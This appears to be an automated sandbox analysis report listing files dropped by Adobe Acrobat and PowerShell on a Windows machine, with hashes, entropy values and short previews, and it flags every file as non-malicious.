SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJf+dPeUkwRe9:YvXKXampsT0UTbdiZG28Ukee9
MD5:	BCE86ED37B58C0729CFF71DE1ED71C9A
SHA1:	4A5339CFE8AF45CEC3D797445A9AFE3B4C6E448C
SHA-256:	EE34556C85483C68DBA48E033717782B91A311F9FCCD5B589288BEF3A1897BA5
SHA-512:	368572E8741EBF28B79EA7862300AEFFB305C6FB962D179C7A6DE07F8E525671DCF5A812B6B4077E4BD7999027AB75985EA4F92CB6A76C494E878C9FD6FAC5AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.267646882408571
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJfbPtdPeUkwRe9:YvXKXampsT0UTbdiZGDV8Ukee9
MD5:	711372A8B28D60CB1F81F4231BBAC42F
SHA1:	F31C6315905E239CA68E813AFA558CF50552F545
SHA-256:	E8CE83A08B88683E53EF507554E2147801228FA03DA18FEA8EC93C0670330DEC
SHA-512:	A9487EF5486221B653CF760E77FF9957E0D018AC7FBF55EB2318226051A40FAF860D35893CFB19A2F6887937B5CB3F7B6045896AE2D1805DC08BAF65AEA385A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.271381873687824
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJf21rPeUkwRe9:YvXKXampsT0UTbdiZG+16Ukee9
MD5:	F600306CDD9181702978F20AC2482F3A
SHA1:	AF0D8C36D869676F2C76D50B9D36A1C1A024AF2C
SHA-256:	A904266072157BAF00EBE51AEF796A480819EBDA135F7A5A7E07C04FF4C72DCB
SHA-512:	04CFCA94558FB993627D0B6FD12668335668DC94614661BB0C570432C215D83FCD7DD21231E782042AEFA6D999AB356CFFC524FEAF977015CA3B737AF85BADC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658537327095523
Encrypted:	false
SSDEEP:	24:Yv6XaIUXZamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSJ4:Yv2wlBgkDMUJUAh8cvMJ4
MD5:	2AAFD156AF9C16DD2E0A4507B44889F1
SHA1:	779BBDFCE95952D559F742B7271D251FAA62A254
SHA-256:	2EF65C07CE3D617701551D4DB4150CA111160DCF58951932362BC90D53994FD7
SHA-512:	DCE8CA7761F09FB0F72BAC7D2CEA92459BD521A8E438F7BAAD94ACE81A980EAF154834A7F7232349B75307A0B07C12883E9A6F2A2C2F38EF21772C884FCCE063
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2474028453698205
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJfshHHrPeUkwRe9:YvXKXampsT0UTbdiZGUUUkee9
MD5:	E913C759700967A694FF72B83CDB1FCA
SHA1:	98181B6164037DC6084BC326F4A459728F71D68D
SHA-256:	5E21043023EE64727346A8D545C6522067527A504771A803B3A4C57B9ADC8EE2
SHA-512:	FA696ECC7482468CAF1F87D50B649DC0B0BFFE0CCD7754201F64A79A02F7117966C294068B6F7F342875E1DDA385EB003F13222375CCC2F6D34BED0947E8CBCB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.259537965743687
Encrypted:	false
SSDEEP:	6:YEQXJ2HXazKpsTTYUXjb24kF0Yf2xoAvJTqgFCrPeUkwRe9:YvXKXampsT0UTbdiZGTq16Ukee9
MD5:	19555550A200D930708F115807AE72C5
SHA1:	D9117A19E73C14D6841A7344555A266580AF9B73
SHA-256:	073B0ABA04CAB2EDB7061F9D9FD01789BEB365ECE7F3D73BD68C38665543EAC4
SHA-512:	AEB9E505B2B382F99B5CFDEEF8E0D57E112A755BE499E8B4CD158A050FE049C99AFCBE111F50736EFB1A767C151AE4451EA36B0DF280986999515403435081B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5794b0c7-43fe-4a60-ab2a-bae5c9f679d8","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743336088,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142830503385028
Encrypted:	false
SSDEEP:	24:YMtaJ4RSaysDND0NsB0Uh7QDB9U4PDAfj1lj0ShIt2lL0xQ2LSjCg1OXz26y5jAA:YIWsOUhQ84E1pOMI+VB1Oj23xUh9TS
MD5:	8105774CE9E912FD83F49EB2593C2A95
SHA1:	7D6D51A2ED0B38BDF3783A8AA3D16E42F0436BE7
SHA-256:	E1198B4D8341BAAFB9A58DDF50E735CBEE2EE9FEBB245F94C77DFDD7910CED05
SHA-512:	02796EA124FA2E8BEAC1DEBC098869C6647E12F81DB18FEF594C80AE0E6CEB3A932B7825AB3E63259494239B1CADBBEDCE2BF53D9A7CD0AB541FCD7D0D933A19
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"46e88a3c75f3911e85e3800d04641e93","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736570146000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"fabdc8c3f51767e4cb4f9739f7eb8778","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736570146000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"822df8bfc5c0eb3c79fc699e16e201c7","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736570146000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9148d3648721b37ed2f56cb020b780a2","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736570146000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7b6aeb6f8a5a3e4a95da8baa4b1296a9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736570146000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"8b64f1cdb24ef515e0a8d5859102d84e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3192653990898962
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Ygymm0+EXSy:TGufl2GL7msUKB0M0+Tb608Ygo5r4o4
MD5:	E62D4629949BC1FF065182B49B778DB3
SHA1:	B8A8AC67773F84F6D367B0E07350E3ED4121E7C8
SHA-256:	06C298AE85E0AFEA2A3CFD51F96E1DE9B1EDAB4E02D203D13F9787CBF38F5F85
SHA-512:	C178FC900CC8B5A9F105FACB2E617D1D57B4375FD4E761E68315DDADA105A7E34BF34D41B51AA5C7094D0E4DD1C626D9E50ABFBEE0E6FF3322D84DCC0730B4DD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.780845061176182
Encrypted:	false
SSDEEP:	48:7Mx8KB0M0+Tb608YgoUrGK2/qFl2GL7ms6Y:7mFb608YFQ2/KVmsr
MD5:	48A07F7D7CC06F5B9CDB8860D2B579A8
SHA1:	AEA189E6A2EEFFBA18F830249F52B897FC24E971
SHA-256:	570FD8F3777535F1B481B957760A7C85968911936534A73EDE9561B1D238F93C
SHA-512:	CE9BC02D57246757B6B4B2518EBF2E1CC711197B9A2414EFBA2F379CD8081BC1E406A12DCD99B484D8EF3303EEC30C93707970478DC5F33D748AAEBBCECF61A9
Malicious:	false
Preview:	.... .c......= ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgvb9IrTRgK13Np9c0XwO3lm7Yyu:6a6TZ44ADEvbaRgq3NTI7K
MD5:	752FA00698FE36BF0494904CB57F0265
SHA1:	165326B091643F00718B1489CC888073A8471887
SHA-256:	7BB6E4FD01CE9A51511AA7B8A582CBAAACAF3028852674ADA17A59DBECB6E7B6
SHA-512:	145A76384EAA3135F5EB245BEF820B5FD108E961259241577232A1F46CB2AAA318F7DEE5CE45C5BF5343E525B44C9DA574B873D7696513D31687DF34705273E2
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI133f4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5197430193686525
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClo7QKw:Qw946cPbiOxDlbYnuRK+bsH
MD5:	15EC206F124D080A7DC125A215D668D0
SHA1:	AB8552F9A7E86E12D56B5959E882CFDF05214344
SHA-256:	F6AD55BF411ECA65812FF7CA14CF3347B4A64D7480DA616B6687764BE06A2CC0
SHA-512:	4D00122F21138A7615B95EE48BB9D694B9C2CE1184A683D4CC3543F74383ACD6EF1A991785B1B1C75D515DF420779655FE8760DE875D4BA0BBF1D202F7D5B9BA
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.3.5.:.4.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cn0h12a5.p0p.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_stiweotg.2vr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-35-39-973.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.36999194932516
Encrypted:	false
SSDEEP:	384:UDFu9QH5i/+IPxGJXtW52lxcQzuVDBJ3Fqkq4wKnkKzrAysYqcFsuMpM9AWg6Hwz:GJ7R
MD5:	6728AAA9AE6C699F98C8A8247649E3C8
SHA1:	54122398AD0D5BBCB8281A7D1200A3C3C3018D41
SHA-256:	13E069F17C2B0F02A1291A3A77E26489CBB6F0E8C3D3B85F078F2BE17D58499C
SHA-512:	78CA87B477E676E6E0BEA4088103BBA19833C8557FC5B49CFB26BAAFE0EF48E1BB33F73EF3C9DE19242FBCC739319B814D8D2312FF82C52337AFB6EE6F86693C
Malicious:	false
Preview:	SessionID=759c5c23-8fbf-4e73-93e4-f05db648c97c.1736570139995 Timestamp=2025-01-10T23:35:39:995-0500 ThreadID=8464 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=759c5c23-8fbf-4e73-93e4-f05db648c97c.1736570139995 Timestamp=2025-01-10T23:35:40:003-0500 ThreadID=8464 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=759c5c23-8fbf-4e73-93e4-f05db648c97c.1736570139995 Timestamp=2025-01-10T23:35:40:003-0500 ThreadID=8464 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=759c5c23-8fbf-4e73-93e4-f05db648c97c.1736570139995 Timestamp=2025-01-10T23:35:40:003-0500 ThreadID=8464 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=759c5c23-8fbf-4e73-93e4-f05db648c97c.1736570139995 Timestamp=2025-01-10T23:35:40:003-0500 ThreadID=8464 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.401118054669835
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmu:EGvIcNYdKlxU
MD5:	4EA284B83C2B45132DA183015E839DC7
SHA1:	60EB21DFF96C17BC76664870F6F28CCD4318CED4
SHA-256:	C881872FDF88694C4387AC58945EC409833A83AAF6D2EF2015FD8FBE352E1AA7
SHA-512:	1D0431682030C87D818B76E446A38F2667C113BFA1A151CBCD38DD7CB5CA19E7389582FA7629259F69303CA6A44DAD257DDCB6528C5328877BDBAC3CA6DDE4CB
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5a85220f-5914-4217-a613-84db1981b5fd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6a90ed71-63d3-4a30-b707-1709cf06d0d3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

